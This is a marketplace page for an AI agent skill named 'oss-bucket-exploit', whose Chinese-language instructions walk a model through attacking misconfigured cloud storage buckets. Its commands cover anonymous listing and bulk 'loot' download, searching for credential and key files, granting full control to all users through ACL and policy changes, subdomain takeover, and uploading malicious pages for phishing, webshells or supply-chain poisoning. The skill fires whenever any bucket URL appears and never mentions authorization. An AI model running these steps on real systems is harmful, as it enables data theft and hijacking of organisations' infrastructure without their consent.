Oss Bucket Exploit logo

Oss Bucket Exploit

OrganizationPopular
wgpsec
oss-bucket-exploit

对象存储(S3/OSS/COS/OBS)Bucket 误配利用。当发现 AWS S3、阿里云 OSS、腾讯云 COS、华为云 OBS 等对象存储服务,或在 HTTP 响应中看到 x-amz-*、x-oss-*、x-cos-* 等 Header 时使用。覆盖 Bucket 枚举、ACL 误配检测、公开读写利用、Bucket 接管、Object 遍历、任意文件上传、Policy 策略滥用。发现任何云存储桶相关的资产或 URL(*.s3.amazonaws.com、*.oss-cn-*.aliyuncs.com、*.cos.*.myqcloud.com 等)都应使用此技能。优先使用 coscli/tccli 操作腾讯云 COS,awscli 操作 AWS S3

Overview

Publisherwgpsec
RepositoryAboutSecurity
Skill nameoss-bucket-exploit
Stars
1.7K
Forks
242
Bundled files
2
Links
  • Markdown instructions

    A SKILL.md file the model loads on demand, so it only costs tokens when a request actually matches.

  • Works with any LLM

    AI skills are plain Markdown, not provider-specific code, so this works with GPT, Claude, Gemini, Grok, or a local model.

  • 2 bundled files

    Scripts, templates, and references the model can read while it works. Files are read-only and never executed.

  • Open source

    Published by wgpsec on GitHub. Read the source before you install it.

Installation

Install the Oss Bucket Exploit AI skill in TypingMind to use it with any LLM, or drop it into another agent that reads SKILL.md.

1

Install in TypingMind

TypingMind installs a skill straight from its GitHub folder — it reads SKILL.md, bundles the resource files, and stores the result locally.

  1. Open the app and go to Plugins → Skills.
  2. Choose "Install from GitHub".
  3. Paste the skill folder URL below and confirm.
  4. Enable the skill in any chat where you want it available.
Plugins → Skills → Add skill → From GitHub URL, then paste the folder URL and press Continue.
2

Install in another agent

Any agent that reads the Agent Skills format can use this skill — copy the folder into that agent's skills directory.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/wgpsec/AboutSecurity.git /tmp/AboutSecurity
mkdir -p .claude/skills
cp -r /tmp/AboutSecurity/skills/cloud/oss-bucket-exploit .claude/skills/oss-bucket-exploit
Restart Claude Code after copying so it picks up the new skill.

Use it in TypingMind

Enable Oss Bucket Exploit in any TypingMind chat and the model takes it from there. Its name and description sit in the system prompt, and the moment a request matches, the model loads the full instructions itself — you never invoke it by hand, and it costs no tokens until it is actually used.

The model loads Oss Bucket Exploit on its own as soon as a request matches it.

Works with any AI model

AI skills are plain Markdown instructions rather than provider-specific code, so Oss Bucket Exploit is not tied to the model it was written for. Install it once in TypingMind and use it with GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama, or a local model you run yourself — all on your own API keys.

  • Loaded only when it is needed

    The system prompt carries just the name and description. The instructions are fetched on the first matching request, so an idle skill costs nothing.

  • Switch models mid-chat

    Because the skill is instructions rather than code, changing model does not break it — the next model reads the same SKILL.md.

Skill instructions

This is the SKILL.md content the model loads. Read it before installing — a skill is instructions your model will follow.

对象存储 Bucket 误配利用方法论

对象存储是云上最常见的暴露面——Bucket 一旦配置公开读写,就等于把文件服务器直接暴露在互联网上。更危险的是 ACL 误配可以让攻击者接管整个 Bucket,进行钓鱼、供应链投毒、数据窃取。

⛔ 深入参考(必读)


Phase 1: 识别对象存储

线索云平台Bucket URL 格式
x-amz-* Header, Server: AmazonS3AWS S3BUCKET.s3.amazonaws.coms3.REGION.amazonaws.com/BUCKET
x-oss-* Header, .aliyuncs.com阿里云 OSSBUCKET.oss-cn-REGION.aliyuncs.com
x-cos-* Header, Server: tencent-cos, .myqcloud.com腾讯云 COSBUCKET-APPID.cos.REGION.myqcloud.com
x-obs-* Header, .myhuaweicloud.com华为云 OBSBUCKET.obs.REGION.myhuaweicloud.com
bash
# 快速判断
curl -sI https://TARGET_URL | grep -iE 'x-amz|x-oss|x-cos|x-obs|AmazonS3|aliyuncs|myqcloud|tencent-cos'

腾讯云 COS 特征

腾讯云 COS 的 Bucket 名称格式为 BUCKET-APPID,其中 APPID 是用户唯一标识。

# Bucket 访问域名格式
<BucketName-APPID>.cos.<Region>.myqcloud.com

# 示例
mybucket-1250000000.cos.ap-guangzhou.myqcloud.com

# 全局 Bucket 列表(需认证)
GET Service HTTP/1.1
Host: cos.ap-guangzhou.myqcloud.com

Phase 2: 攻击决策树

发现对象存储?
├─ 1. 列出 Bucket 内容(公开读?)
│   ├─ 成功 → 搜索敏感文件(配置/备份/代码/凭据)
│   └─ 403 → 尝试 ACL 和 Policy 利用
├─ 2. 检查 ACL 误配(ACL 可读?ACL 可写?)
│   ├─ ACL 可写 → 修改 ACL 获取 FULL_CONTROL
│   └─ Object ACL 可写 → 修改单个 Object 权限
├─ 3. 检查 Bucket Policy 误配
│   ├─ Policy 可写 → 直接获取完整权限
│   └─ 条件绕过 → 利用 Policy 中的弱条件
├─ 4. 公开写入 → 上传 Webshell/钓鱼页面/供应链投毒
└─ 5. Bucket 接管(NoSuchBucket → 抢注同名 Bucket)

Phase 3: 公开读检测与敏感文件搜索

AWS S3

bash
aws s3 ls s3://BUCKET_NAME --no-sign-request
aws s3 sync s3://BUCKET_NAME ./loot --no-sign-request

阿里云 OSS

bash
curl -s "https://BUCKET.oss-cn-REGION.aliyuncs.com/?list-type=2"
ossutil ls oss://BUCKET --endpoint oss-cn-REGION.aliyuncs.com

腾讯云 COS(优先使用 coscli)

bash
# 方式 1: coscli(推荐,功能最全)
coscli ls cos://BUCKET-APPID/ -r
coscli ls cos://BUCKET-APPID/ -r --include "*.env" --include "*.sql"

# 方式 2: Python SDK(tccli 不支持 GetService)
# pip install cos-python-sdk-v5
# from qcloud_cos import CosConfig, CosS3Client
# client = CosS3Client(CosConfig(Region='ap-guangzhou', SecretId='Sid', SecretKey='Skey'))
# print(client.list_buckets())

# 方式 3: curl 直接访问(无需认证)
curl -s "https://BUCKET-APPID.cos.ap-guangzhou.myqcloud.com/"
# 返回 XML 列表 → 公开读
# 返回 AccessDenied → 非公开

# 下载文件
coscli cp cos://BUCKET-APPID/path/to/file ./
coscli cp cos://BUCKET-APPID/ ./loot/ -r  # 批量下载

敏感文件搜索

bash
# coscli 搜索
coscli ls cos://BUCKET-APPID/ -r --include "*.env"
coscli ls cos://BUCKET-APPID/ -r --include "*.sql"
coscli ls cos://BUCKET-APPID/ -r --include "*.bak"
coscli ls cos://BUCKET-APPID/ -r --include "*.pem"
coscli ls cos://BUCKET-APPID/ -r --include "config*"

敏感文件关键词:backup, .sql, .env, config, credential, password, .pem, .key, flag


Phase 4: ACL 误配利用

AWS S3 ACL

bash
aws s3api get-bucket-acl --bucket BUCKET_NAME --no-sign-request

腾讯云 COS ACL

bash
# 查看 Bucket ACL(coscli)
coscli get-bucket-acl cos://BUCKET-APPID

# 查看 Bucket ACL(curl)
curl -s "https://BUCKET-APPID.cos.ap-guangzhou.myqcloud.com/?acl"

# 如果 ACL 中包含 AllUsers 或匿名访问 → 可进一步利用

腾讯云 COS ACL 修改(需要写权限)

bash
# coscli 设置 ACL
coscli put-bucket-acl cos://BUCKET-APPID --grant-full-control anyone

# 或通过 curl PUT ACL
cat > acl.xml << 'EOF'
<AccessControlPolicy>
  <Owner>
    <ID>qcs::cam::uin/OWNER_UIN:uin/OWNER_UIN</ID>
  </Owner>
  <AccessControlList>
    <Grant>
      <Grantee xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="Group">
        <URI>http://cam.qcloud.com/groups/global/AllUsers</URI>
      </Grantee>
      <Permission>FULL_CONTROL</Permission>
    </Grant>
  </AccessControlList>
</AccessControlPolicy>
EOF

curl -X PUT "https://BUCKET-APPID.cos.ap-guangzhou.myqcloud.com/?acl" \
  -H "Content-Type: application/xml" \
  -d @acl.xml

→ ACL 修改和 Policy 利用详细命令 → references/bucket-attack-methods.md


Phase 5: Bucket 接管

当访问子域名显示 NoSuchBucketBucketNotFound 等错误时,原始 Bucket 已被删除但 DNS CNAME 仍指向它。

AWS S3

bash
dig +short target-subdomain.example.com
# 返回 xxx.s3.amazonaws.com → 可能可接管
aws s3 mb s3://target-subdomain.example.com

腾讯云 COS

bash
# 确认 CNAME
dig +short target-subdomain.example.com
# 返回 *.cos.*.myqcloud.com → 可能可接管

# 如果返回 NoSuchBucket 错误
curl -s "https://BUCKET-APPID.cos.ap-guangzhou.myqcloud.com/" | grep -i "nosuchbucket"

# 在自己账号下创建同名 Bucket
coscli mb cos://BUCKET-APPID -e cos.ap-guangzhou.myqcloud.com

# 或使用 tccli(需要 SDK 辅助创建 COS 桶)
# tccli 没有直接的 create-bucket 命令,需要用 coscli 或 Python SDK

Python SDK 创建 COS Bucket

python
from qcloud_cos import CosConfig, CosS3Client

secret_id = 'SecretId'
secret_key = 'SecretKey'
region = 'ap-guangzhou'
config = CosConfig(Region=region, SecretId=secret_id, SecretKey=secret_key)
client = CosS3Client(config)

# 创建同名 Bucket 接管子域名
response = client.create_bucket(Bucket='target-bucket-1250000000')
print(response)

Phase 6: 任意文件上传利用

如果 Bucket 配置了公开写入:

AWS S3

bash
aws s3 cp malicious.html s3://BUCKET_NAME/ --no-sign-request

腾讯云 COS

bash
# coscli 上传
coscli cp malicious.html cos://BUCKET-APPID/

# curl PUT 上传(无需认证)
curl -X PUT "https://BUCKET-APPID.cos.ap-guangzhou.myqcloud.com/test.html" \
  -d '<html><body><h1>COS Writable</h1></body></html>'

# 如果 Bucket 支持 HTML 解析 → XSS/钓鱼
# 如果是静态网站托管 → 挂黑页/暗链
# 如果是应用资源 CDN → 供应链投毒

腾讯云 COS 特有工具

coscli(腾讯云 COS 专用 CLI)

bash
# 安装(根据系统架构选择对应版本)
# Linux amd64
wget https://cosbrowser.cloud.tencent.com/software/coscli/coscli-linux-amd64
mv coscli-linux-amd64 /usr/local/bin/coscli && chmod +x /usr/local/bin/coscli
# Linux arm64 → coscli-linux-arm64
# macOS arm64 (M1/M2) → coscli-darwin-arm64
# macOS amd64 (Intel) → coscli-darwin-amd64

# 配置(交互式,生成 ~/.cos.yaml)
coscli config init
# 按提示输入: SecretId, SecretKey, SessionToken(临时凭据时), APPID, Bucket-Region

# 常用命令
coscli ls                           # 列出所有桶
coscli ls cos://BUCKET-APPID/ -r    # 递归列出桶内容
coscli cp local.txt cos://BUCKET-APPID/remote.txt   # 上传
coscli cp cos://BUCKET-APPID/remote.txt ./           # 下载
coscli rm cos://BUCKET-APPID/file.txt               # 删除
coscli presign cos://BUCKET-APPID/file.txt           # 生成预签名URL
coscli get-bucket-acl cos://BUCKET-APPID             # 查看ACL
coscli put-bucket-acl cos://BUCKET-APPID --grant-read anyone  # 设置ACL

Python SDK (cos-python-sdk-v5)

当 coscli 或 tccli 无法实现特定操作时使用。

bash
pip install cos-python-sdk-v5
python
from qcloud_cos import CosConfig, CosS3Client
import json

secret_id = 'SecretId'
secret_key = 'SecretKey'
region = 'ap-guangzhou'
token = None  # 临时凭据时填入 Token

config = CosConfig(Region=region, SecretId=secret_id, SecretKey=secret_key, Token=token)
client = CosS3Client(config)

# 列出所有桶
response = client.list_buckets()

# 列出桶内对象
response = client.list_objects(Bucket='bucket-1250000000')

# 获取 Bucket ACL
response = client.get_bucket_acl(Bucket='bucket-1250000000')

# 获取 Bucket Policy
response = client.get_bucket_policy(Bucket='bucket-1250000000')

# 获取 Bucket CORS
response = client.get_bucket_cors(Bucket='bucket-1250000000')

# 获取 Bucket 加密配置
response = client.get_bucket_encryption(Bucket='bucket-1250000000')

# 获取 Bucket 日志配置
response = client.get_bucket_logging(Bucket='bucket-1250000000')

# 下载文件
response = client.get_object(Bucket='bucket-1250000000', Key='secret.txt')

# 上传文件
response = client.put_object(Bucket='bucket-1250000000', Key='test.html', Body=b'<html>test</html>')

# 设置 Bucket ACL(公开读)
response = client.put_bucket_acl(Bucket='bucket-1250000000', ACL='public-read')

# 设置 Bucket Policy
policy = {
    "version": "2.0",
    "statement": [{
        "effect": "allow",
        "principal": {"qcs": ["qcs::cam::anyone:anyone"]},
        "action": ["name/cos:*"],
        "resource": [
            "qcs::cos:ap-guangzhou:uid/1250000000:bucket-1250000000/*",
            "qcs::cos:ap-guangzhou:uid/1250000000:bucket-1250000000"
        ]
    }]
}
response = client.put_bucket_policy(Bucket='bucket-1250000000', Policy=json.dumps(policy))

注意事项

  • 对象存储误配非常常见,尤其是开发/测试环境
  • Bucket 名称全局唯一(AWS/阿里云/腾讯云等),知道名称就可以尝试访问
  • 修改 ACL/Policy 会产生操作日志(CloudTrail/ActionTrail/CloudAudit)
  • 部分云厂商默认屏蔽了公开列出操作,但单个 Object 仍可能可访问
  • 腾讯云 COS Bucket 名必须带 APPID 后缀(如 bucket-1250000000
  • coscli 是腾讯云 COS 的专用工具,功能比 tccli cos 更全
  • tccli 对 COS 支持有限(主要是 GetService 列出桶),具体操作优先用 coscli 或 SDK

Bundled files

The model reads these on demand while the skill is loaded. They are exposed as readable files and are never executed.

Frequently asked questions

What does the Oss Bucket Exploit AI skill do?

对象存储(S3/OSS/COS/OBS)Bucket 误配利用。当发现 AWS S3、阿里云 OSS、腾讯云 COS、华为云 OBS 等对象存储服务,或在 HTTP 响应中看到 x-amz-*、x-oss-*、x-cos-* 等 Header 时使用。覆盖 Bucket 枚举、ACL 误配检测、公开读写利用、Bucket 接管、Object 遍历、任意文件上传、Policy 策略滥用。发现任何云存储桶相关的资产或 URL(*.s3.amazonaws.com、*.oss-cn-*.aliyuncs.com、*.cos.*.myqcloud.com 等)都应使用此技能。优先使用 coscli/tccli 操作腾讯云 COS,awscli 操作 AWS S3

Why use Oss Bucket Exploit on TypingMind?

Because you install it once and use it with any model. Oss Bucket Exploit is plain Markdown rather than provider-specific code, so the same skill runs on GPT-5, Claude, Gemini, Grok, or a local model — and you can switch model mid-chat without it breaking. TypingMind runs on your own API keys, so you pay providers directly instead of a per-seat subscription, and your skills and chats stay in your own storage.

How do I install Oss Bucket Exploit in TypingMind?

Open Plugins → Skills → Install from GitHub in TypingMind and paste https://github.com/wgpsec/AboutSecurity/tree/master/skills/cloud/oss-bucket-exploit. TypingMind reads its SKILL.md and bundles its files and installs it as a skill you can enable per chat.

Which AI models can use Oss Bucket Exploit?

Any model you connect in TypingMind. AI skills are plain Markdown instructions rather than provider-specific code, so GPT, Claude, Gemini, Grok, and local models can all load this skill when a request matches it.

How many AI models can I use with Oss Bucket Exploit?

As many as you like. As long as a model supports skills, you can use Oss Bucket Exploit with it — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama and more — all on TypingMind with your own API keys.

Is the Oss Bucket Exploit AI skill free?

It is published on GitHub by wgpsec. Check the repository for licensing terms. You only pay your own AI provider for the tokens you use.

What are AI skills?

An AI skill is a reusable instruction bundle that teaches an AI model how to do one specific task. It follows the open Agent Skills format: a SKILL.md file with a name and description, plus any scripts, templates or reference files the model may need. The model reads the instructions only when your request matches the skill, so an installed skill costs nothing until it is used.

How are AI skills different from plugins or MCP servers?

A plugin or MCP server gives a model new tools to call — code that runs somewhere and returns a result. An AI skill gives the model knowledge and process instead: how to approach a task, which steps to follow, what good output looks like. Skills are plain Markdown, so they need no server, no API key and no runtime, and they work with any model.

View all

Set up your own AI workspace now

Get notified about new features and future giveaways by subscribing to our newsletter 👇